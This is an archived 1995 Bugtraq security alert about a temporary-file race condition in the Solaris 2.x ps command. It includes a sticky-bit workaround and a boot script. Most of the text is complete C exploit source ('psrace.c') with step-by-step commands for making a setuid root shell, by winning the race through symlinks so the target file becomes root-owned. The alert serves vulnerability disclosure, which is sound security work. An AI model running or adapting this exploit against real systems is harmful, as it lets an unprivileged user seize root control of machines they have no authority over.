home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / sol_psra.asc < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.4 KB  |  188 lines

  1.  
  2.  
  3. B U G T R A Q   A L E R T                           bugtraq-alert-081495.01
  4.  
  5. August 14, 1995
  6. ===========================================================================
  7.  
  8. OPERATING SYSTEM(S):
  9.  
  10.          Solaris 2.x (Sunos 5.x)
  11.  
  12. DESCRIPTION:
  13.  
  14.          A race condition exists in /usr/bin/ps when ps opens a temporary
  15.          file when executed.  After opening the file, /usr/bin/ps chown's the
  16.          temporary file to root and the renames it to /tmp/ps_data.
  17.  
  18. WORKAROUND:
  19.  
  20.          chmod +t /tmp
  21.  
  22.          Unfortunately this may not solve the entire problem.  If your
  23.          machine is rebooted and you are mounting swap as /tmp (most cases)
  24.          the sticky-bit on your /tmp directory will disappear.  Normally
  25.          the boot script /etc/rc2.d/S05RMTMPFILES should be doing this
  26.          work but will not if you are mounting your /tmp directory.
  27.  
  28.          The following is a bootup script should be added to ensure that
  29.          the sticky bit stays.
  30.  
  31.          This file should be called /etc/rc3.d/S79tmpfix
  32.  
  33. 8<------------------------- cut here -------------------------
  34.  
  35. #!/bin/sh
  36. #ident  "@(#)tmpfix 1.0    95/09/14"
  37.  
  38. if [ -d /tmp ]
  39. then
  40.    /usr/bin/chmod 1777 /tmp
  41.    /usr/bin/chgrp sys /tmp
  42.    /usr/bin/chown sys /tmp
  43. fi
  44.  
  45. 8<------------------------- cut here -------------------------
  46.  
  47.  
  48. EXPLOIT:
  49.  
  50.   The following is exploit code that will allow you to change any
  51. file on a Solaris 2.x machine to uid 0 (as well as setuid files).
  52.  
  53.  
  54. 8<------------------------- cut here -------------------------
  55.  
  56. /*
  57.  *  psrace.c
  58.  *
  59.  *  Copyright, 1995, by Scott Chasin (chasin@crimelab.com)
  60.  *
  61.  *  This material is copyrighted by Scott Chasin, 1995. The
  62.  *  usual standard disclaimer applies, especially the fact that the
  63.  *  author is not liable for any damages caused by direct or indirect
  64.  *  use of the information or functionality provided by this program.
  65.  *
  66.  *  [ For solaris2.x only ]
  67.  *
  68.  *  After compiling psrace, run the following commands:
  69.  *
  70.  *  cp /bin/ksh $HOME/rootshell; chmod 14755 $HOME/rootshell
  71.  *  /bin/sh -c 'while /bin/true ; do ps > /dev/null ; done' &
  72.  *  ./psrace $HOME/rootshell
  73.  *
  74.  *  (Ignore any errors you get from ps)
  75.  *  You may have to wait a few minutes before the race is won.
  76.  */
  77.  
  78. #include <stdio.h>
  79. #include <sys/types.h>
  80.  
  81. #include <dirent.h>
  82. #include <sys/stat.h>
  83.  
  84. main (argc, argv)
  85. int argc;
  86. char **argv;
  87. {
  88.   int count = 0;
  89.   DIR *dirp;
  90.   struct dirent *dp;
  91.   struct stat fileinfo;
  92.   char targetfile [85], name [85];
  93.  
  94.   if (argc != 2)
  95.    {
  96.       printf ("Usage: psrace [/full/path/to/target/filename]\n");
  97.       exit (1);
  98.    }
  99.  
  100.   if (access (argv[1], 0))
  101.    {
  102.       printf ("psrace: %s does not exist.\n", argv[1]);
  103.       exit (1);
  104.    }
  105.  
  106.   strcpy (targetfile, argv[1]);
  107.  
  108.   stat ("/tmp", &fileinfo);
  109.   if (fileinfo.st_mode & S_ISVTX)
  110.    {
  111.       printf ("psrace: Congratulations! You already have the fix in place.\n");
  112.       printf ("psrace: (/tmp has the sticky-bit set)\n");
  113.       exit (1);
  114.    }
  115.  
  116.   printf ("Be patient, this could take awhile.\n");
  117.   printf ("Starting the race .. ");
  118.   fflush (stdout);
  119.  
  120.   dirp = opendir ("/tmp");
  121.  
  122.   for (;;)
  123.    {
  124.      unlink ("/tmp/ps_data");
  125.  
  126.      while ((dp = readdir (dirp)) != NULL)
  127.       {
  128.         if (!strncmp (dp->d_name, "ps.", 3))
  129.          {
  130.            sprintf (name, "/tmp/%s", dp->d_name);
  131.            unlink (name);
  132.  
  133.            symlink (targetfile, name);
  134.  
  135.            if (stat (targetfile, &fileinfo) >= 0)
  136.                if (fileinfo.st_uid == 0)
  137.                  {
  138.                    printf ("We WON!\n");
  139.                    closedir (dirp);
  140.                    clean_up ();
  141.                  }
  142.          }
  143.       }
  144.      rewinddir (dirp);
  145.    }
  146.  }
  147.  
  148.  
  149. clean_up ()
  150. {
  151.   DIR *dirp;
  152.   struct dirent *dp;
  153.   char name [25];
  154.  
  155.   dirp = opendir ("/tmp");
  156.  
  157.   while ((dp = readdir (dirp)) != NULL)
  158.       if (!strncmp (dp->d_name, "ps.", 3))
  159.        {
  160.           sprintf (name, "/tmp/%s", dp->d_name);
  161.           unlink (name);
  162.        }
  163.   closedir (dirp);
  164.  
  165.   unlink ("/tmp/ps_data");
  166.   exit (0);
  167. }
  168.  
  169. 8<------------------------- cut here -------------------------
  170.  
  171.  
  172. ===========================================================================
  173.  
  174. A thanks goes out to Neil Readwin (nreadwin@micrognosis.co.uk) who provided
  175. a few ideas in making the exploit code a bit more "enhanced".
  176.  
  177. For questions regarding this alert, please feel free to mail me.
  178. For more discussion on this alert:
  179.  
  180.     bugtraq@crimelab.com                Bugtraq reflector list
  181.     bugtraq-request@crimelab.com        Information / Request address
  182.  
  183.  
  184. Scott Chasin
  185. chasin@crimelab.com
  186.  
  187.  
  188.